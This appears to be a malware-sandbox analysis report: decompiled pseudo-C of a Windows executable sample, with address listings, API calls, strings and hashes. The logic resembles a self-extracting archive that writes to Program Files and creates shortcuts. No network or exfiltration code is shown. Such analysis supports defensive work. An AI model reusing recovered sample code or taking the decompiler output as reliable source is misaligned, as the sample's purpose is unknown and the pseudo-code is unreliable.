									__eflags = __ax;
									if(__ax == 0) {
										__esi = 0x800;
										goto L163;
									}
									__edi = __ax & 0x0000ffff;
									do {
										_push(0x20);
										_pop(__eax);
										__eflags = __di - __ax;
										if(__di == __ax) {
											L149:
											__eax = 0;
											__esi->i = __ax;
											__ebp - 0x688c = E00CCB4A1(__ebp - 0x688c);
											__eflags = __al;
											if(__al == 0) {
												L158:
												__esi->i = __di;
												goto L159;
											}
											__ebp - 0x688c = E00CCB4B3(__ebp - 0x688c);
											__eax = E00CCB4FF(__eax);
											__eflags = __al;
											if(__al != 0) {
												goto L158;
											}
											_push(0x2f);
											_pop(__ecx);
											__eax =  &(__esi->i);
											__ebx = __esi;
											__eflags = __di - __cx;
											if(__di != __cx) {
												_push(0x20);
												__esi = __eax;
												_pop(__eax);
												while(1) {
													__eflags = __esi->i - __ax;
													if(__esi->i != __ax) {
														break;
													}
													__esi =  &(__esi->i);
													__eflags = __esi;
												}
												__ecx = __ebp - 0x1844;
												__eax = __esi;
												__edx = 0x400;
												L157:
												__eax = E00CD1908(__ecx, __eax, __edx);
												 *__ebx = __di;
												goto L159;
											}
											 *(__ebp - 0x1844) = __cx;
											__edx = 0x3ff;
											__ecx = __ebp - 0x1842;
											goto L157;
										}
										_push(0x2f);
										_pop(__eax);
										__eflags = __di - __ax;
										if(__di != __ax) {
											goto L159;
										}
										goto L149;
										L159:
										__esi =  &(__esi->i);
										__eax = __esi->i & 0x0000ffff;
										__edi = __esi->i & 0x0000ffff;
										__eflags = __ax;
									} while (__ax != 0);
									__esi = 0x800;
									__eflags = __ebx;
									if(__ebx != 0) {
										__eax = 0;
										 *__ebx = __ax;
									}
									goto L163;
								} else {
									__ebp - 0x19892 = __ebp - 0x688c;
									E00CD1908(__ebp - 0x688c, __ebp - 0x19892, 0x800) = __ebp - 0x688a;
									__eax = E00CE31FC(__ebp - 0x688a, __ebx);
									_pop(__ecx);
									_pop(__ecx);
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x1844 = E00CD1908(__ebp - 0x1844, __ebp - 0x1844, 0x400);
									}
									L163:
									__eflags =  *((short*)(__ebp - 0x11894));
									if( *((short*)(__ebp - 0x11894)) != 0) {
										__ebp - 0x9894 = __ebp - 0x11894;
										__eax = E00CCCAB4(__ebp - 0x11894, __ebp - 0x9894, __esi);
									}
									__ebp - 0xb894 = __ebp - 0x688c;
									__eax = E00CCCAB4(__ebp - 0x688c, __ebp - 0xb894, __esi);
									__eflags =  *(__ebp - 0x2844);
									if(__eflags == 0) {
										__ebp - 0x2844 = E00CDC4B5(__ecx, __ebp - 0x2844,  *(__ebp - 0x14));
									}
									__ebp - 0x2844 = E00CCCA80(__eflags, __ebp - 0x2844, __esi);
									__eflags =  *((short*)(__ebp - 0x17894));
									if(__eflags != 0) {
										__ebp - 0x17894 = __ebp - 0x2844;
										E00CD18E0(__eflags, __ebp - 0x2844, __ebp - 0x17894, __esi) = __ebp - 0x2844;
										__eax = E00CCCA80(__eflags, __ebp - 0x2844, __esi);
									}
									__ebp - 0x2844 = __ebp - 0xc894;
									__eax = E00CD1908(__ebp - 0xc894, __ebp - 0x2844, __esi);
									__eflags =  *(__ebp - 0x13894);
									__eax = __ebp - 0x13894;
									if(__eflags == 0) {
										__eax = __ebp - 0x19894;
									}
									__ebp - 0x2844 = E00CD18E0(__eflags, __ebp - 0x2844, __ebp - 0x2844, __esi);
									__eax = __ebp - 0x2844;
									__eflags = E00CCCD3C(__ebp - 0x2844);
									if(__eflags == 0) {
										L173:
										__ebp - 0x2844 = E00CD18E0(__eflags, __ebp - 0x2844, L".lnk", __esi);
										goto L174;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L174:
											__ebx = 0;
											__ebp - 0x2844 = E00CCB321(0, __ecx, __edi, __ebp, __ebp - 0x2844, 1, 0);
											__ebp - 0xb894 = __ebp - 0xa894;
											E00CD1908(__ebp - 0xa894, __ebp - 0xb894, __esi) = __ebp - 0xa894;
											__eax = E00CCD6D1(__eflags, __ebp - 0xa894);
											__esi =  *(__ebp - 0x9894) & 0x0000ffff;
											__eax = __ebp - 0x9894;
											__edx =  *(__ebp - 0x1844) & 0x0000ffff;
											__edi = __ebp - 0xa894;
											__ecx =  *(__ebp - 0x15894) & 0x0000ffff;
											__esi =  ~( *(__ebp - 0x9894) & 0x0000ffff);
											asm("sbb esi, esi");
											__esi =  ~( *(__ebp - 0x9894) & 0x0000ffff) & __ebp - 0x00009894;
											__edx =  ~( *(__ebp - 0x1844) & 0x0000ffff);
											__eax = __ebp - 0x1844;
											asm("sbb edx, edx");
											__edx =  ~( *(__ebp - 0x1844) & 0x0000ffff) & __ebp - 0x00001844;
											__ecx =  ~( *(__ebp - 0x15894) & 0x0000ffff);
											__eax = __ebp - 0x15894;
											asm("sbb ecx, ecx");
											__ecx =  ~( *(__ebp - 0x15894) & 0x0000ffff) & __ebp - 0x00015894;
											 *(__ebp - 0xa894) & 0x0000ffff =  ~( *(__ebp - 0xa894) & 0x0000ffff);
											asm("sbb eax, eax");
											 ~( *(__ebp - 0xa894) & 0x0000ffff) & __edi = __ebp - 0x2844;
											__ebp - 0xb894 = E00CDB46A( ~( *(__ebp - 0x15894) & 0x0000ffff) & __ebp - 0x00015894, 0, __ebp - 0xb894, __ebp - 0x2844,  ~( *(__ebp - 0xa894) & 0x0000ffff) & __edi, __ecx, __esi,  ~( *(__ebp - 0x1844) & 0x0000ffff) & __ebp - 0x00001844);
											__eflags =  *(__ebp - 0xc894) - __bx;
											if( *(__ebp - 0xc894) != __bx) {
												_push(0);
												__eax = __ebp - 0xc894;
												_push(__ebp - 0xc894);
												_push(5);
												_push(0x1000);
												__eax =  *0xd2508c();
											}
											goto L178;
										}
										goto L173;
									}
								}
							case 0xa:
								__eflags = __ebx - 7;
								if(__ebx == 7) {
									 *0xd13898 = 1;
								}
								goto L178;
							case 0xb:
								__eax =  *(__ebp - 0x588c) & 0x0000ffff;
								__eax = E00CE8C2C( *(__ebp - 0x588c) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0xd0a479 = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0xd0a47a = 1;
									} else {
										__eax = 0;
										 *0xd0a479 = __al;
										 *0xd0a47a = __al;
									}
								}
								goto L178;
							case 0xc:
								 *0xd21cd8 = 1;
								__eax = __eax + 0xd21cd8;
								_t125 = __esi + 0x39;
								 *_t125 =  *(__esi + 0x39) + __esp;
								__eflags =  *_t125;
								__ebp = 0xffffa774;
								if( *_t125 != 0) {
									_t127 = __ebp - 0x588c; // 0xffff4ee8
									__eax = _t127;
									 *0xd00728 = E00CD32D2(_t127);
								}
								goto L178;
						}
						L4:
						_push(0x1000);
						_push(_t311);
						_push(_t237);
						_t237 = E00CDC038();
						_t311 = _t311 + 0x2000;
						_t308 = _t308 - 1;
						if(_t308 != 0) {
							goto L4;
						} else {
							_t312 = _t308;
							goto L6;
						}
						L178:
						_push(0x1000);
						_t221 = _t316 - 0x15; // 0xffffa75f
						_t222 = _t316 - 0xd; // 0xffffa767
						_t223 = _t316 - 0x588c; // 0xffff4ee8
						_t224 = _t316 - 0xf894; // 0xfffeaee0
						_push( *((intOrPtr*)(_t316 + 0xc)));
						_t232 = E00CDC3A4(_t308, _t316);
						_t293 =  *((intOrPtr*)(_t316 + 0x10));
						 *((intOrPtr*)(_t316 + 0xc)) = _t232;
					} while (_t232 != 0);
				}
			}

0x00cdd706
0x00cdd710
0x00cdd719
0x00cde3cf
0x00cde3d2
0x00cde3da
0x00cde3da
0x00cdd71f
0x00cdd727
0x00cdd72b
0x00cdd732
0x00cdd739
0x00cdd73a
0x00cdd73d
0x00cdd742
0x00cdd744
0x00cdd749
0x00cdd750
0x00cdd754
0x00cdd755
0x00cdd757
0x00cdd75d
0x00cdd763
0x00cdd763
0x00000000
0x00cdd77d
0x00cdd794
0x00cdd798
0x00000000
0x00cdd79a
0x00000000
0x00cdd79a
0x00cdd798
0x00cdd7a2
0x00000000
0x00000000
0x00cdd7a8
0x00000000
0x00cdd7af
0x00cdd7b2
0x00cdd7b8
0x00cdd7c5
0x00cdd7eb
0x00cdd7ff
0x00cdd802
0x00cdd80d
0x00cdd951
0x00cdd951
0x00cdd95f
0x00cdd964
0x00cdd966
0x00000000
0x00000000
0x00cdd81f
0x00cdd825
0x00cdd82b
0x00cdd8d1
0x00cdd8d8
0x00cdd8de
0x00cdd8e1
0x00000000
0x00000000
0x00cdd8ea
0x00cdd8f0
0x00cdd8f2
0x00000000
0x00cdd8f4
0x00cdd8f4
0x00cdd8f6
0x00cdd8f7
0x00cdd8fb
0x00cdd90f
0x00cdd914
0x00cdd91e
0x00cdd924
0x00cdd927
0x00cdd8f9
0x00cdd8f9
0x00cdd8fa
0x00000000
0x00cdd929
0x00cdd937
0x00cdd93d
0x00cdd93f
0x00cdd94b
0x00cdd94b
0x00000000
0x00cdd93f
0x00cdd927
0x00cdd8f2
0x00cdd840
0x00cdd84d
0x00cdd85e
0x00cdd861
0x00cdd864
0x00cdd877
0x00cdd87e
0x00cdd883
0x00cdd885
0x00000000
0x00000000
0x00cdd88b
0x00cdd892
0x00cdd897
0x00cdd89c
0x00cdd8a8
0x00cdd8ad
0x00cdd8b0
0x00cdd8b7
0x00cdd8b9
0x00cdd8ba
0x00cdd8c4
0x00cdd8ca
0x00cdd8cb
0x00000000
0x00cdd8cb
0x00cdd86d
0x00cdd873
0x00cdd875
0x00000000
0x00000000
0x00000000
0x00cdd875
0x00cdd96c
0x00cdd976
0x00cdd976
0x00000000
0x00000000
0x00cdd980
0x00cdd982
0x00cdd9d5
0x00cdd9da
0x00cdd9e3
0x00cdd9e4
0x00cdd9ea
0x00cdd9ef
0x00cdd9f2
0x00cdd9f4
0x00cdda06
0x00cdda0b
0x00cdda0c
0x00cdda0c
0x00cdda0d
0x00cdda0f
0x00cdda16
0x00cdda1b
0x00cdda0f
0x00000000
0x00000000
0x00cdda21
0x00cdda23
0x00cdda33
0x00cdda33
0x00000000
0x00000000
0x00cdda3e
0x00cdda40
0x00000000
0x00000000
0x00cdda46
0x00cdda4d
0x00000000
0x00000000
0x00cdda53
0x00cdda55
0x00cdda5b
0x00cdda5d
0x00cdda64
0x00cdda65
0x00cdda6c
0x00cdda6e
0x00cdda6e
0x00cdda75
0x00cdda7a
0x00cdda80
0x00cdda82
0x00000000
0x00cdda88
0x00cdda88
0x00cdda8b
0x00cdda8d
0x00cdda8e
0x00cdda91
0x00cddaba
0x00cddabd
0x00cddba2
0x00cddbab
0x00cddbb0
0x00cddbb0
0x00cddbb2
0x00cddbb2
0x00cddbb4
0x00cddbb6
0x00cddbbd
0x00cddbc2
0x00cddbc3
0x00cddbc4
0x00cddbc6
0x00cddbc8
0x00cddbcc
0x00cddbce
0x00cddbce
0x00cddbd0
0x00cddbd0
0x00cddbcc
0x00cddbd4
0x00cddbda
0x00cddbe7
0x00cddbee
0x00cddbfe
0x00cddc08
0x00cddc16
0x00cddc1c
0x00cddc24
0x00cddc29
0x00cddc2a
0x00cddc2b
0x00cddc2d
0x00cddc41
0x00cddc41
0x00000000
0x00cddc2d
0x00cddac3
0x00cddac3
0x00cddac6
0x00cddad3
0x00cddad3
0x00cddad6
0x00cddad8
0x00cddad9
0x00cddadb
0x00cddadc
0x00cddae1
0x00cddae6
0x00cddaec
0x00cddaee
0x00cddaf0
0x00cddaf3
0x00cddafa
0x00cddafb
0x00cddb01
0x00cddb02
0x00cddb05
0x00cddb06
0x00cddb07
0x00cddb0c
0x00cddb0f
0x00cddb15
0x00cddb1e
0x00cddb21
0x00cddb26
0x00cddb28
0x00cddb2a
0x00cddb2c
0x00cddb2c
0x00cddb2e
0x00cddb2e
0x00cddb30
0x00cddb30
0x00cddb38
0x00cddb3f
0x00cddb41
0x00cddb48
0x00cddb4e
0x00cddb50
0x00cddb51
0x00cddb59
0x00cddb68
0x00cddb68
0x00cddb59
0x00cddb73
0x00cddb75
0x00cddb84
0x00cddb8a
0x00cddb90
0x00cddb9b
0x00cddb9b
0x00000000
0x00cddb90
0x00cddac8
0x00cddacd
0x00000000
0x00000000
0x00000000
0x00cddacd
0x00cdda93
0x00cdda97
0x00000000
0x00000000
0x00cdda99
0x00cdda9c
0x00cdda9e
0x00cddaa1
0x00000000
0x00cddaa7
0x00cddab0
0x00000000
0x00cddab0
0x00cddaa1
0x00000000
0x00cddc4c
0x00cddc4d
0x00cddc52
0x00cddc54
0x00cddc57
0x00cddc57
0x00000000
0x00cddc8d
0x00cddc94
0x00cddc96
0x00cddc96
0x00cddc98
0x00cddcc7
0x00cddcc7
0x00cddccd
0x00000000
0x00cddccd
0x00cddc9a
0x00cddc9a
0x00cddc9d
0x00cddcb6
0x00cddcbc
0x00cddcbc
0x00000000
0x00cddcbc
0x00cddc9f
0x00cddc9f
0x00cddca2
0x00000000
0x00000000
0x00cddca4
0x00cddca4
0x00cddca7
0x00000000
0x00000000
0x00cddcad
0x00000000
0x00000000
0x00cddd1a
0x00cddd1c
0x00cddd23
0x00cddd24
0x00cddd2a
0x00cddd32
0x00cddd34
0x00cddd37
0x00cddde7
0x00cddde7
0x00cdddeb
0x00cdddfa
0x00cdddfe
0x00000000
0x00000000
0x00cdde04
0x00cdde07
0x00000000
0x00000000
0x00cdde0d
0x00cdde0d
0x00cdde0f
0x00cdde10
0x00cdde10
0x00cdde11
0x00cdde12
0x00cdde15
0x00000000
0x00cdde15
0x00cddded
0x00cdddf0
0x00000000
0x00000000
0x00cdddf6
0x00000000
0x00cdddf6
0x00cddd3d
0x00cddd46
0x00cddd4b
0x00cddd4c
0x00cddd4d
0x00cddd4f
0x00cddde4
0x00cddde4
0x00000000
0x00cddde4
0x00cddd55
0x00cddd55
0x00cddd58
0x00cddd5b
0x00cddd5d
0x00cddd60
0x00cddd66
0x00cddd68
0x00cddd69
0x00cddd6f
0x00cddd70
0x00cddd75
0x00cddd78
0x00cddd7a
0x00000000
0x00000000
0x00cddd7c
0x00cddd7e
0x00cddd7e
0x00cddd86
0x00000000
0x00000000
0x00cddd8d
0x00cddd94
0x00cddd99
0x00cddda0
0x00cddda2
0x00cddda4
0x00cdddab
0x00cdddb0
0x00cdddb2
0x00cdddb4
0x00cdddb6
0x00cdddb6
0x00cdddbc
0x00cdddc3
0x00cdddc8
0x00cdddca
0x00cdddcc
0x00cdddce
0x00cdddce
0x00cdddcf
0x00cdddd1
0x00cdddd7
0x00cdddd8
0x00cdddde
0x00cddde0
0x00cddde2
0x00000000
0x00000000
0x00000000
0x00000000
0x00cddde2
0x00000000
0x00000000
0x00cdde49
0x00cdde4c
0x00cddfcb
0x00cddfce
0x00cddfd4
0x00cddfda
0x00cddfdc
0x00cddfdc
0x00cddfe6
0x00cddfe6
0x00000000
0x00cddfce
0x00cdde52
0x00cdde58
0x00cdde66
0x00cdde6d
0x00cdde72
0x00cdde74
0x00cdde76
0x00cdde7b
0x00cdde7b
0x00cdde93
0x00cddea0
0x00cddea5
0x00cddea7
0x00000000
0x00000000
0x00cdde79
0x00cdde79
0x00cdde7a
0x00cdde7a
0x00cddeb3
0x00cddeb9
0x00cddec0
0x00000000
0x00000000
0x00cddec6
0x00cddecc
0x00000000
0x00000000
0x00cdded2
0x00cdded4
0x00cddedb
0x00cddee4
0x00cddee9
0x00cddeea
0x00cddeeb
0x00cddeed
0x00cddf3d
0x00cddf3d
0x00cddf44
0x00cddf52
0x00cddf63
0x00cddf71
0x00cddf71
0x00cddf7d
0x00cddf82
0x00cddf84
0x00cddf94
0x00cddf9e
0x00cddfa3
0x00cddfa6
0x00cddfb1
0x00cddfb3
0x00cddfba
0x00cddfc0
0x00cddfc0
0x00000000
0x00cddfa6
0x00cddeef
0x00cddef6
0x00cddef8
0x00cddefb
0x00000000
0x00000000
0x00cddefd
0x00cddf00
0x00cddf00
0x00cddf04
0x00000000
0x00000000
0x00cddf06
0x00cddf0e
0x00cddf0f
0x00cddf11
0x00cddf14
0x00000000
0x00000000
0x00000000
0x00cddf16
0x00cddf23
0x00cddf2e
0x00cddf33
0x00cddf33
0x00cddf35
0x00000000
0x00000000
0x00cddff2
0x00cddff5
0x00cddff7
0x00cddffe
0x00cde000
0x00cde006
0x00cde007
0x00cde00c
0x00cde00d
0x00cde00d
0x00cde012
0x00cde015
0x00cde01b
0x00cde01b
0x00cde020
0x00000000
0x00000000
0x00cde02c
0x00cde02f
0x00000000
0x00000000
0x00cde035
0x00cde037
0x00cde03e
0x00cde046
0x00cde04c
0x00cde04f
0x00cde072
0x00cde079
0x00cde051
0x00cde051
0x00cde054
0x00cde064
0x00cde06b
0x00cde056
0x00cde056
0x00cde05d
0x00cde05d
0x00cde054
0x00cde07e
0x00cde08c
0x00cde091
0x00cde093
0x00cde09a
0x00cde0a9
0x00cde0b0
0x00cde0b5
0x00cde0b7
0x00cde0b8
0x00cde0bf
0x00cde112
0x00cde117
0x00cde119
0x00000000
0x00000000
0x00cde11f
0x00cde126
0x00cde12c
0x00cde12e
0x00cde131
0x00cde1e3
0x00000000
0x00cde1e3
0x00cde137
0x00cde13a
0x00cde13a
0x00cde13c
0x00cde13d
0x00cde140
0x00cde14a
0x00cde14a
0x00cde14c
0x00cde156
0x00cde15b
0x00cde15d
0x00cde1bf
0x00cde1bf
0x00000000
0x00cde1bf
0x00cde166
0x00cde16c
0x00cde171
0x00cde173
0x00000000
0x00000000
0x00cde175
0x00cde177
0x00cde178
0x00cde17b
0x00cde17d
0x00cde180
0x00cde196
0x00cde198
0x00cde19a
0x00cde1a0
0x00cde1a0
0x00cde1a3
0x00000000
0x00000000
0x00cde19d
0x00cde19d
0x00cde19d
0x00cde1a5
0x00cde1ab
0x00cde1ad
0x00cde1b2
0x00cde1b5
0x00cde1ba
0x00000000
0x00cde1ba
0x00cde182
0x00cde189
0x00cde18e
0x00000000
0x00cde18e
0x00cde142
0x00cde144
0x00cde145
0x00cde148
0x00000000
0x00000000
0x00000000
0x00cde1c2
0x00cde1c2
0x00cde1c5
0x00cde1c8
0x00cde1ca
0x00cde1ca
0x00cde1d3
0x00cde1d8
0x00cde1da
0x00cde1dc
0x00cde1de
0x00cde1de
0x00000000
0x00cde0c1
0x00cde0c9
0x00cde0d5
0x00cde0dd
0x00cde0e2
0x00cde0e3
0x00cde0e4
0x00cde0e6
0x00cde0ec
0x00cde0ee
0x00cde101
0x00cde101
0x00cde1e8
0x00cde1e8
0x00cde1f0
0x00cde1fa
0x00cde201
0x00cde201
0x00cde20e
0x00cde215
0x00cde21a
0x00cde222
0x00cde22e
0x00cde22e
0x00cde23b
0x00cde240
0x00cde248
0x00cde252
0x00cde25f
0x00cde266
0x00cde266
0x00cde273
0x00cde27a
0x00cde27f
0x00cde287
0x00cde28d
0x00cde28f
0x00cde28f
0x00cde2a4
0x00cde2a9
0x00cde2b5
0x00cde2b7
0x00cde2c8
0x00cde2d5
0x00000000
0x00cde2b9
0x00cde2c4
0x00cde2c6
0x00cde2da
0x00cde2da
0x00cde2e6
0x00cde2f3
0x00cde2ff
0x00cde306
0x00cde30b
0x00cde312
0x00cde318
0x00cde31f
0x00cde325
0x00cde32c
0x00cde32e
0x00cde330
0x00cde332
0x00cde334
0x00cde33a
0x00cde33c
0x00cde33e
0x00cde340
0x00cde346
0x00cde348
0x00cde352
0x00cde355
0x00cde35b
0x00cde36a
0x00cde36f
0x00cde376
0x00cde378
0x00cde379
0x00cde37f
0x00cde380
0x00cde382
0x00cde387
0x00cde387
0x00000000
0x00cde376
0x00000000
0x00cde2c6
0x00cde2b7
0x00000000
0x00cde38f
0x00cde392
0x00cde394
0x00cde394
0x00000000
0x00000000
0x00cddcd9
0x00cddce1
0x00cddce7
0x00cddcea
0x00cddd0e
0x00cddcec
0x00cddcec
0x00cddcef
0x00cddd02
0x00cddcf1
0x00cddcf1
0x00cddcf3
0x00cddcf8
0x00cddcf8
0x00cddcef
0x00000000
0x00000000
0x00cdde1f
0x00cdde20
0x00cdde25
0x00cdde25
0x00cdde25
0x00cdde28
0x00cdde2d
0x00cdde33
0x00cdde33
0x00cdde3f
0x00cdde3f
0x00000000
0x00000000
0x00cdd764
0x00cdd764
0x00cdd769
0x00cdd76a
0x00cdd76b
0x00cdd770
0x00cdd776
0x00cdd779
0x00000000
0x00cdd77b
0x00cdd77b
0x00000000
0x00cdd77b
0x00cde39b
0x00cde39b
0x00cde3a0
0x00cde3a4
0x00cde3a8
0x00cde3af
0x00cde3b6
0x00cde3b9
0x00cde3be
0x00cde3c1
0x00cde3c4
0x00cde3ce

APIs

__EH_prolog.LIBCMT ref: 00CDD706

Part of subcall function 00CDC3A4: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00CDC48B

_wcslen.LIBCMT ref: 00CDD9CC
_wcslen.LIBCMT ref: 00CDD9D5
SetWindowTextW.USER32(?,?), ref: 00CDDA33
_wcslen.LIBCMT ref: 00CDDA75
_wcsrchr.LIBVCRUNTIME ref: 00CDDBBD
GetDlgItem.USER32(?,00000066), ref: 00CDDBF8
SetWindowTextW.USER32(00000000,?), ref: 00CDDC08
SendMessageW.USER32(00000000,00000143,00000000,00D1389A), ref: 00CDDC16
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00CDDC41

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00CDDADC
%s.%d.tmp, xrefs: 00CDD902
<br>, xrefs: 00CDD996
ProgramFilesDir, xrefs: 00CDDB07

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: cf8a6d1e757c35322652ce3e6a455e2aebd626e70fb1ccf99bdd970925f1f9fa
Instruction ID: c5aa04e14dde244096d08b8df6aced902a369955b25cccfa103582aecb638f02
Opcode Fuzzy Hash: cf8a6d1e757c35322652ce3e6a455e2aebd626e70fb1ccf99bdd970925f1f9fa
Instruction Fuzzy Hash: 2DE15472D04258AADB24ABA4DC85EEE77BCAB04310F4440A7F719E7250EB749B859B60

Uniqueness

Uniqueness Score: -1.00%

Function 00CCED67 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00CCED67(char* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				char* _t245;
				void* _t246;
				WCHAR* _t247;
				void* _t252;
				unsigned int _t258;
				signed int _t264;
				signed int _t268;
				void* _t279;
				signed short* _t283;
				void* _t284;
				void* _t290;
				signed short* _t294;
				void* _t295;
				signed int _t299;
				signed int _t303;
				signed int _t318;
				signed int _t322;
				signed int _t324;
				signed int _t326;
				signed int _t327;
				signed int _t334;
				char* _t335;
				signed int _t339;
				short _t342;
				void* _t343;
				void* _t346;
				char* _t348;
				char* _t350;
				char* _t355;
				void* _t358;
				void* _t360;
				void* _t363;
				signed int _t372;
				char* _t374;
				unsigned int _t385;
				unsigned int _t389;
				signed int _t392;
				signed int _t397;
				signed int _t399;
				void* _t400;
				signed int _t401;
				void* _t404;
				signed int _t406;
				signed int _t407;
				signed int _t410;
				signed int _t411;
				signed int _t412;
				char* _t421;
				signed int _t424;
				signed int _t430;
				char* _t434;
				signed int _t443;
				signed int _t444;
				signed int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				char* _t451;
				signed int _t453;
				signed int _t455;
				void* _t456;
				intOrPtr* _t459;
				signed int _t461;
				signed int _t462;
				char* _t463;
				signed int _t466;
				signed int _t467;
				char** _t468;
				void* _t470;
				void* _t471;
				void* _t473;
				void* _t477;
				void* _t478;

				_t443 = __edx;
				_t471 = _t470 - 0x54;
				E00CDFD4C(0xcf3a13, _t468);
				E00CDFE20(0x4204);
				_t245 = 0x5c;
				_t459 = __ecx;
				_t468[4] = _t245;
				_t468[0xe] = __ecx;
				_t246 = E00CE31FC(_t468[0x18], _t245);
				_t372 = 0;
				_t475 = _t246;
				_t247 = _t468 - 0x31d0;
				if(_t246 != 0) {
					E00CD1908(_t247, _t468[0x18], 0x800);
				} else {
					GetModuleFileNameW(0, _t247, 0x800);
					 *((short*)(E00CCD687(_t475, _t468 - 0x31d0))) = 0;
					E00CD18E0(_t475, _t468 - 0x31d0, _t468[0x18], 0x800);
				}
				E00CCA79B(_t468 - 0x4210);
				_push(4);
				 *(_t468 - 4) = _t372;
				_push(_t468 - 0x31d0);
				if(E00CCAB20(_t468 - 0x4210, _t459) == 0) {
					L125:
					_t252 = E00CCA7DF(_t468 - 0x4210); // executed
					 *[fs:0x0] =  *((intOrPtr*)(_t468 - 0xc));
					__eflags =  &(_t468[0x16]);
					return _t252;
				} else {
					_t447 = _t372;
					_t477 =  *0xd00720 - _t447; // 0x64
					if(_t477 <= 0) {
						L7:
						E00CE7580(_t372,  *_t459,  *((intOrPtr*)(_t459 + 4)), 4, E00CCE9E0);
						E00CE7580(_t372,  *((intOrPtr*)(_t459 + 0x10)),  *((intOrPtr*)(_t459 + 0x14)), 4, E00CCE940);
						_t473 = _t471 + 0x20;
						_t468[0x14] = _t372;
						_t448 = _t447 | 0xffffffff;
						_t468[0xf] = _t372;
						while(_t448 == 0xffffffff) {
							_t348 = E00CCB0F0(_t468 - 0x4210); // executed
							_t468[0x12] = _t348;
							_t350 = E00CCAE40(_t468 - 0x4210, _t443, _t468 - 0x21d0, 0x2000);
							_t468[0x11] = _t350;
							_t467 = _t372;
							_t24 = _t350 - 0x10; // -16
							_t434 = _t24;
							_t468[0xa] = _t434;
							if(_t434 < 0) {
								L25:
								_t351 = _t468[0x12];
								L26:
								E00CCAFE0(_t468 - 0x4210, _t443, _t468,  &(_t351[ &(_t468[0x11][0xfffffffffffffff0])]), _t372, _t372);
								_t355 =  &(_t468[0xf][1]);
								_t468[0xf] = _t355;
								__eflags = _t355 - 0x100;
								if(_t355 < 0x100) {
									continue;
								}
								__eflags = _t448 - 0xffffffff;
								if(_t448 == 0xffffffff) {
									goto L125;
								}
								break;
							} else {
								goto L10;
							}
							L12:
							_t363 = E00CE79B0(_t468 - 0x21ce + _t467, "*messages***", 0xb);
							_t473 = _t473 + 0xc;
							if(_t363 == 0) {
								L24:
								_t351 = _t468[0x12];
								_t448 =  &(_t468[0x12][_t467]);
								goto L26;
							} else {
								_t350 = _t468[0x11];
							}
							L14:
							_t443 = 0x2a;
							if( *((intOrPtr*)(_t468 + _t467 - 0x21d0)) != _t443) {
								L18:
								if( *((char*)(_t468 + _t467 - 0x21d0)) != 0x52 ||  *((char*)(_t468 + _t467 - 0x21cf)) != 0x61) {
									L21:
									_t467 = _t467 + 1;
									if(_t467 > _t468[0xa]) {
										goto L25;
									} else {
										_t350 = _t468[0x11];
										L10:
										if( *((char*)(_t468 + _t467 - 0x21d0)) != 0x2a ||  *((char*)(_t468 + _t467 - 0x21cf)) != 0x2a) {
											goto L14;
										} else {
											goto L12;
										}
									}
								} else {
									_t358 = E00CE79B0(_t468 - 0x21ce + _t467, 0xcf4a70, 4);
									_t473 = _t473 + 0xc;
									if(_t358 == 0) {
										goto L125;
									}
									goto L21;
								}
							}
							_t439 = _t468 - 0x21cc + _t467;
							if( *((intOrPtr*)(_t468 - 0x21cc + _t467 - 2)) == _t443 && _t467 <=  &(_t350[0xffffffffffffffe0])) {
								_t360 = E00CE72B8(_t439, L"*messages***", 0xb);
								_t473 = _t473 + 0xc;
								if(_t360 == 0) {
									_t468[0x14] = 1;
									goto L24;
								}
							}
							goto L18;
						}
						asm("cdq");
						E00CCAFE0(_t468 - 0x4210, _t443, _t468, _t448, _t443, _t372);
						_push(0x200002);
						_t461 = E00CE73B6(_t468 - 0x4210);
						_t468[0x13] = _t461;
						__eflags = _t461;
						if(_t461 == 0) {
							goto L125;
						}
						_t258 = E00CCAE40(_t468 - 0x4210, _t443, _t461, 0x200000);
						__eflags = _t468[0x14];
						_t385 = _t258;
						_t468[0x12] = _t385;
						if(_t468[0x14] == 0) {
							_push(2 + _t385 * 2);
							_t449 = E00CE73B6(_t385);
							__eflags = _t449;
							if(_t449 == 0) {
								goto L125;
							}
							_t468[0x12][_t461] = _t372;
							E00CD2EA2(_t461, _t449,  &(_t468[0x12][1]));
							L00CE5069(_t461);
							_t389 = _t468[0x12];
							_t461 = _t449;
							_t468[0x13] = _t461;
							L33:
							_t264 = 0x100000;
							__eflags = _t389 - 0x100000;
							if(_t389 <= 0x100000) {
								_t264 = _t389;
							}
							 *((short*)(_t461 + _t264 * 2)) = 0;
							E00CD18AD(_t468 - 0x108, 0xcf4a78, 0x64);
							_push(0x20002);
							_t450 = E00CE73B6(0);
							_t468[0x11] = _t450;
							__eflags = _t450;
							if(_t450 != 0) {
								__eflags = _t468[0x12];
								_t462 = _t372;
								_t392 = _t372;
								_t468[0xc] = _t462;
								_t268 = _t372;
